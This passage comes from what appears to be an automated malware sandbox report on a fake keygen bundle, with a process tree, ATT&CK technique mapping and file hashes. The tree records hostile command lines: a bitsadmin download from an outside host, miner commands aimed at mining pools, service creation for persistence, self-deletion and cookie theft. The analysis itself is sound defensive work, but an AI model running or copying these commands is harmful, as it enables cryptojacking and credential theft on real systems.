                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                  ping 127.0.0.1 -n 3
                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                  PID:5724
                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ephotyxh.3z5\ABCbrowser.exe /VERYSILENT & exit
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                            PID:4112
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\ephotyxh.3z5\ABCbrowser.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\ephotyxh.3z5\ABCbrowser.exe /VERYSILENT
                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                PID:4040
                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                    PID:4212
                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                      PID:3400
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iekbiahd.2ei\toolspab1.exe & exit
                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                    PID:1008
                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bysg3xn3.5mi\SunLabsPlayer.exe /S & exit
                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                      PID:4308
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bysg3xn3.5mi\SunLabsPlayer.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\bysg3xn3.5mi\SunLabsPlayer.exe /S
                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                          PID:4056
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                            PID:5764
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                              PID:5792
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                PID:4896
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                  PID:5012
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                    PID:5652
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                      PID:192
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsm6276.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                        PID:1796
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                                                                                                                        "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                        • Download via BitsAdmin
                                                                                                                                                                                                                                                                                        PID:4248
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xitmzzvp.rtq\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                      PID:5096
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nnlmxymp.gwq\inst.exe & exit
                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                        PID:5636
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\nnlmxymp.gwq\inst.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\nnlmxymp.gwq\inst.exe
                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                            PID:3332
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jrvvek5o.ixw\c7ae36fa.exe & exit
                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                            PID:1424
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jrvvek5o.ixw\c7ae36fa.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jrvvek5o.ixw\c7ae36fa.exe
                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                PID:4408
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:5160
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\262.tmp.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\262.tmp.exe"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                        PID:6120
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\262.tmp.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\262.tmp.exe"
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:4728
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\4E4.tmp.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\4E4.tmp.exe"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                        PID:4736
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                          -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w17908@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:4412
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                            -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w21605 --cpu-max-threads-hint 50 -r 9999
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                              PID:5460
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:940
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                ping 127.0.0.1
                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                                                                                                PID:5872
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:1548
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe"
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:6100
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                    PID:2828
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:2264
                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                              PID:5396
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                              PID:648
                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                              PID:5820
                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              PID:5644
                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:5484
                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:3976
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\3573.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\3573.exe
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:4408
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 868
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:5768
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 892
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:1148
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 924
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:6056
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 976
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:5692
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1088
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:6116
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1124
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:1328
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1152
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:6072
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1192
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:5472
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\3E7D.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\3E7D.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:5400
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\4A17.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\4A17.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:5024
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jwfzpunc\
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:2716
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qynrecll.exe" C:\Windows\SysWOW64\jwfzpunc\
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1016
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\sc.exe" create jwfzpunc binPath= "C:\Windows\SysWOW64\jwfzpunc\qynrecll.exe /d\"C:\Users\Admin\AppData\Local\Temp\4A17.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:3212
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\sc.exe" description jwfzpunc "wifi internet conection"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:4480
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\sc.exe" start jwfzpunc
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:5688
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\oiizktkm.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\oiizktkm.exe" /d"C:\Users\Admin\AppData\Local\Temp\4A17.exe" /e5503011500000005
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1464

                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                  Persistence

                                                                                                                                                                                                                                                                                                                  New Service

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1050

                                                                                                                                                                                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1060

                                                                                                                                                                                                                                                                                                                  BITS Jobs

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1197

                                                                                                                                                                                                                                                                                                                  Privilege Escalation

                                                                                                                                                                                                                                                                                                                  New Service

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1050

                                                                                                                                                                                                                                                                                                                  Defense Evasion

                                                                                                                                                                                                                                                                                                                  Modify Registry

                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                  T1112

                                                                                                                                                                                                                                                                                                                  BITS Jobs

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1197

                                                                                                                                                                                                                                                                                                                  Install Root Certificate

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1130

                                                                                                                                                                                                                                                                                                                  Credential Access

                                                                                                                                                                                                                                                                                                                  Credentials in Files

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1081

                                                                                                                                                                                                                                                                                                                  Discovery

                                                                                                                                                                                                                                                                                                                  Software Discovery

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1518

                                                                                                                                                                                                                                                                                                                  Query Registry

                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                  T1012

                                                                                                                                                                                                                                                                                                                  System Information Discovery

                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                  T1082

                                                                                                                                                                                                                                                                                                                  Remote System Discovery

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1018

                                                                                                                                                                                                                                                                                                                  Collection

                                                                                                                                                                                                                                                                                                                  Data from Local System

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1005

                                                                                                                                                                                                                                                                                                                  Command and Control

                                                                                                                                                                                                                                                                                                                  Web Service

                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                  T1102

                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    608a427189005ef25a9db7b30c3c8e2e

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    ae6cb6eb2709d9bf74ca63f7202c3fb60b99fe03

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    6fd249f2c5c9b49fb87a2a290558b0852bae0933ba4457a58b04778d9d658321

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    855a9523b3db36884b52f8facd17bf6b34769ac70f4f218b8096aae41a5c135f260001a50f55af908631ee80da4f1f18c58db461be1624c120c5c58c688bdc3f

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    65b49b106ec0f6cf61e7dc04c0a7eb74

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    a1f4784377c53151167965e0ff225f5085ebd43b

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    65b49b106ec0f6cf61e7dc04c0a7eb74

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    a1f4784377c53151167965e0ff225f5085ebd43b

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    c615d0bfa727f494fee9ecb3f0acf563

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    6c3509ae64abc299a7afa13552c4fe430071f087

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    95d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    c615d0bfa727f494fee9ecb3f0acf563

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    6c3509ae64abc299a7afa13552c4fe430071f087

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    95d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    618fd9fbd48c71a7a361fa548dc456bc

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    9daedb8279c2629ff4140319fd361014e0f4e602

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    c4e15a74c7f5447476b081f09514761231733f7c0936d143d17e932608eed707

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    780b54e837d81bef27c56432708c644be0065a077e9f051ebd79cec505b619132b113faf80521ce78f95e07339c5230691b8bad34288a616b022dedb1bc5c1bb

                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    39f80c4d452a26def7a2d05f32a74e02

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    de6ef8e49e7725f627b1d748d7138c226bff75e1

                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                    f8d3c7043a3308cc1dedcf76bc0cd484df93822a7e3edddcab1595bb4959e582

                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                    97f6af2ca63a6784b9d63d996d68cec36b7eca8a39a85ea6ef3e3d540594944a7539266fec15fa4843ec1cd87d9523a723cedf00b6feaa5cc666b99ae67adf56

                                                                                                                                                                                                                                                                                                                  • \??\pipe\crashpad_4440_FGFMQQTWYAVFSDDU
                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                    d41d8cd98f00b204e9800998ecf8427e

                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                                                                                                                                                                                                                    SHA256

